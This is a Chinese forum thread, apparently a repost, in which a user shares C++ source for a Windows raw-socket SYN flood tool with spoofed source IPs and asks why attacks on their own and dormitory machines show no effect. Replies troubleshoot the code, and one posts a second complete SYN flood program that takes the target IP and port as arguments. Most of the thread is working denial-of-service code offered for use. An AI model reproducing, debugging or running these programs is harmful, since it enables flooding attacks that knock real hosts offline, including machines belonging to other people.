我用synflood攻擊自己的計算機,可是發現自己的機子毫無變化,攻擊我們宿舍的機子也是。。沒有反應,然后用netstat -an查了,發現根本沒有被攻擊的跡象,請各位大神幫看看怎么回事:
#define SEQ 0x28376839
#define SYN_DEST_IP "110.64.91.117"//被攻擊的IP
#define FAKE_IP "128.1.0.0" //偽裝IP的起始值,本程式的偽裝IP覆寫一個B類網段
#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <shellapi.h>
#include <iostream>
#include <cstring>
#include <fstream>
#pragma comment (lib,"ws2_32.lib")
using namespace std;
typedef struct _iphdr //定義IP首部
{
unsigned char h_verlen; //4位首部長度,4位IP版本號
unsigned char tos; //8位服務型別TOS
unsigned short total_len; //16位總長度(位元組)
unsigned short ident; //16位標識
unsigned short frag_and_flags; //3位標志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; //8位協議 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
typedef struct _psdhdr//定義TCP偽首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //協議型別
unsigned short tcpl; //TCP長度
}PSD_HEADER;
typedef struct _tcphdr //定義TCP首部
{
USHORT th_sport; //16位源埠
USHORT th_dport; //16位目的埠
unsigned int th_seq; //32位序列號
unsigned int th_ack; //32位確認號
unsigned char th_lenres; //4位首部長度/6位保留字
unsigned char th_flag; //6位標志位
USHORT th_win; //16位視窗大小
USHORT th_sum; //16位校驗和
USHORT th_urp; //16位緊急資料偏移量
}TCP_HEADER;
USHORT checksum(USHORT*buffer, int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum+=*buffer;
buffer++;
size-=sizeof(USHORT);
}
if (size==1)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum>>16) + (cksum&0xffff);
cksum += (cksum>>16);
return (USHORT)(~cksum);
}
int main()
{
int TimeOut=3000;
int erroCode=0;
int SendSEQ=0; // 使用SEQ進行改變IP地址
WSADATA wsadata;
if (erroCode=WSAStartup(MAKEWORD(2,2),&wsadata)!=0)
{
cout<<"WSAStartup fail: "<<erroCode<<endl;
system("pause");
return 0;
}
//SOCKET rawS=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
SOCKET rawS=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (rawS==INVALID_SOCKET)
{
cout<<"socket fail: "<<GetLastError()<<endl;
system("pause");
return 0;
}
int flag=TRUE;
// 設定IP_HDRINCL以自己填充IP首部
erroCode=setsockopt(rawS,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if (erroCode==SOCKET_ERROR)
{
cout<<"raw socket option(IP_HDRINCL) error";
system("pause");
return 0;
}
// 設定超時時間
erroCode=setsockopt(rawS,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (erroCode==SOCKET_ERROR)
{
cout<<"raw socket option(SO_SNDTIMEO) error";
system("pause");
return 0;
}
// 獲得數值形式的偽ip地址的初始地址,為后面的相加運算(地址變換)做準備
int FakeIpHost=ntohl(inet_addr(FAKE_IP));
// 填充IP首部
IP_HEADER ip_header;
ip_header.h_verlen=(4<<4|sizeof(ip_header)/sizeof(unsigned long)); // 高4位存盤IPV4的版本號4,低四位首部長度(4位元組為單位)
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ip_header.ident=0;
ip_header.frag_and_flags=0;
ip_header.ttl=128;
ip_header.proto=IPPROTO_TCP;
ip_header.checksum=0;
ip_header.sourceIP=NULL;
ip_header.destIP=inet_addr(SYN_DEST_IP);
// 填充TCP首部
TCP_HEADER tcp_header;
tcp_header.th_sport=htons(7000);
tcp_header.th_dport=htons(8080);
tcp_header.th_seq=NULL;
tcp_header.th_ack=NULL;
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);
tcp_header.th_flag=2; // SYN標志
tcp_header.th_win=htons(16384); // 視窗大小
tcp_header.th_urp=0;
tcp_header.th_sum=0;
// 填充TCO偽首部
PSD_HEADER psd_header;
psd_header.saddr=ip_header.sourceIP;
psd_header.daddr=ip_header.destIP;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(tcp_header));
while(true)
{
cout<<".";
for (int counter=0;counter<10240;counter++)
{
if(SendSEQ++==65536)
SendSEQ=1;
ip_header.checksum=0;
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);
tcp_header.th_seq=htonl(SEQ+SendSEQ);
tcp_header.th_sum=0;
psd_header.saddr=ip_header.sourceIP;
char SendBuff[128]={0};
// 計算TCP校驗和,計算校驗和時需要包括TCP pseudo header
memcpy(SendBuff,&psd_header,sizeof(psd_header));
memcpy(SendBuff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuff,sizeof(psd_header)+sizeof(tcp_header));
// 計算IP校驗和
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuff+sizeof(ip_header)+sizeof(tcp_header),0,4); // 填寫option
int datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuff,datasize);
// 填充發送緩沖區
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
//發送TCP報文
struct sockaddr_in DestAddr;
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.S_un.S_addr=inet_addr(SYN_DEST_IP);
erroCode=sendto(rawS,SendBuff,datasize,0,(sockaddr*)&DestAddr,sizeof(DestAddr));
if (erroCode==SOCKET_ERROR)
cout<<"\nSend Error "<<GetLastError()<<endl;
}
}
}
uj5u.com熱心網友回復:
用你的代碼跑了下,編譯時,就發現你將NULL賦值給unsigned int型別的資料,編譯出錯。修改后編譯通過,跑起來,輸出:Send Error 10004,即“一個封鎖操作被對 WSACancelBlockingCall 的呼叫中斷。 ”
uj5u.com熱心網友回復:
額?為什么我用vc2010是可以編譯通過的。。而且輸出了“.”了。。
uj5u.com熱心網友回復:
編譯的時候,那個是警告,不是錯誤,可能跟編譯選項或編譯器有關吧。“.”我也能輸出的,但是接焉就是"Send Error 10004",不知道你是怎樣的運行情況!?
uj5u.com熱心網友回復:
一直“.”沒有什么錯誤提示
uj5u.com熱心網友回復:
uj5u.com熱心網友回復:
宣告:只用于學習用途,不能違反朝庭歷法喲.
/************************************************************************/
/* synFlood.h */
/* ( ??ω??) 當年今日 */
/************************************************************************/
typedef unsigned short ushort;
typedef unsigned long ulong;
typedef unsigned int uint;
typedef unsigned char uchar;
//ip首部
typedef struct ip_hdr
{
uchar h_verlen; //4位首部長度,4位IP版本號
uchar tos; //8位服務型別TOS
ushort total_len; //16位總長度(位元組)
ushort ident; //16位標識
ushort frag_and_flags; //3位標志位(另外13位為片偏移)
uchar ttl; //8位生存時間 TTL
uchar protocols; //8位協議 (如ICMP,TCP等)
ushort chksum; //16位IP首部校驗和
uint sourceIP; //32位源IP地址
uint destIP; //32位目的IP地址
}IP_HDR;
//tcp首部
typedef struct tcp_hdr
{
ushort sourcePort;//16位源埠號
ushort destPort;//16位目的埠號
uint seq;//32位序號
uint ack;//32位確認序號
uchar h_lenres;//4位首部長度,6位保留
uchar flag; //6位標識
ushort win;//16位視窗大小
ushort chksum;//16位校驗和
ushort urgpoint;//16位緊急指標
}TCP_HDR;
//tcp偽首部,用于校驗和的計算
typedef struct pre_tcp_hdr
{
ulong sourceAddr; //32位源地址
ulong destAddr; //32位目的地址
char mbz;
uchar ptcl; //8位協議型別
ushort tcplen; //16位TCP長度
}PRE_HDR;
/************************************************************************/
/* synFlood.cpp */
/* ( ??ω??) 當今年日 */
/************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <time.h>
#include <windows.h>
#include <string.h>
#include <WS2TCPIP.H>
#include "synFlood.h"
#define SLEEPTIME 10
SOCKET sock;
SOCKADDR_IN addr_in;
IP_HDR ipHdr;
TCP_HDR tcpHdr;
PRE_HDR preHdr;
int SourcePort;
char sendBuf[60]={0};
int rect;
#pragma comment(lib, "ws2_32.lib")
//計算校驗和的子函式
ushort chkSum(ushort *buffer, int size)
{
ulong cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(ushort);
}
if(size)
{
cksum += *(uchar*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (ushort)(~cksum);
}
//資料包首部填充
int dataFill(char * argv[])
{
srand((int)time(0));
//填充IP首部
ipHdr.h_verlen=(4<<4 | sizeof(ipHdr)/sizeof(ulong));
ipHdr.tos=0;
ipHdr.total_len=htons(sizeof(ipHdr)+sizeof(ipHdr)); //IP總長度
ipHdr.ident=1;
ipHdr.frag_and_flags=0; //無分片
ipHdr.ttl=(uchar)GetTickCount()%87+123;;
ipHdr.protocols=IPPROTO_TCP; // 協議型別為 TCP
ipHdr.chksum=0; //效驗位先初始為0
ipHdr.sourceIP=htonl(GetTickCount()*474695); //隨機產生一個偽造的源IP
ipHdr.destIP=inet_addr(argv[1]); //目標IP
//printf("%d\n\n",ipHdr.destIP);
//填充TCP首部
SourcePort=GetTickCount()*43557%9898; //隨機產生一個本機埠號
//printf("%d\n\n",SourcePort);
tcpHdr.destPort=htons(atoi(argv[2])); //目的埠
tcpHdr.sourcePort=htons(SourcePort); //源埠號
tcpHdr.seq=htonl(0x12345678);
tcpHdr.ack=0;
tcpHdr.h_lenres=(sizeof(tcpHdr)/4<<4|0);
tcpHdr.flag=2; //為SYN請求
tcpHdr.win=htons(512);//視窗大小
tcpHdr.urgpoint=0;
tcpHdr.chksum=0;
//填充TCP偽首部用來計算TCP頭部的效驗和
preHdr.sourceAddr=ipHdr.sourceIP;
preHdr.destAddr=ipHdr.destIP;
preHdr.mbz=0;
preHdr.ptcl=IPPROTO_TCP;
preHdr.tcplen=htons(sizeof(tcpHdr));//tcp協議長度
return true;
}
//發送資料
int sendData()
{
rect=sendto(sock, sendBuf, sizeof(ipHdr)+sizeof(tcpHdr), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
{
printf("send error!:%x",WSAGetLastError());
return false;
}else
printf("success send\n");
Sleep(SLEEPTIME);
return true;
}
int main(int argc,char *argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
BOOL flag;
//socket版本檢測
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("WSAStartup Error!");
return false;
}
if ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 2 ) {
printf("Could not find a usable WinSock DLL\n");
WSACleanup( );
return false;
}
//輸入檢測
if (argc < 3 || argc >4 )
{
printf("input error!\n");
return false;
}
if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)//管理員權限才可以生成原始套接字
{
printf("Socket Error!\n");
return false;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!\n");
return false;
}
int nSendTime=30*1000; //設定超時時間
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nSendTime, sizeof(nSendTime))==SOCKET_ERROR)
{
printf("setsockopt SO_SNDTIMEO error!\n");
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));//目的埠
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);//目的ip
while(1)
{
dataFill(argv);
//利用tcp報頭與偽報頭計算校驗和
memcpy(sendBuf, &preHdr, sizeof(preHdr));
memcpy(sendBuf+sizeof(preHdr), &tcpHdr, sizeof(tcpHdr));
tcpHdr.chksum=chkSum((ushort *)sendBuf,sizeof(preHdr)+sizeof(tcpHdr));
//將偽造的ip報頭與tcp報頭封裝發送
memcpy(sendBuf, &ipHdr, sizeof(ipHdr));
memcpy(sendBuf+sizeof(ipHdr), &tcpHdr, sizeof(tcpHdr));
sendData();
}
closesocket(sock);
WSACleanup();
return 0;
}
uj5u.com熱心網友回復:
還是沒有效果啊。。
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/114419.html
標籤:網絡
上一篇:kvm灰過
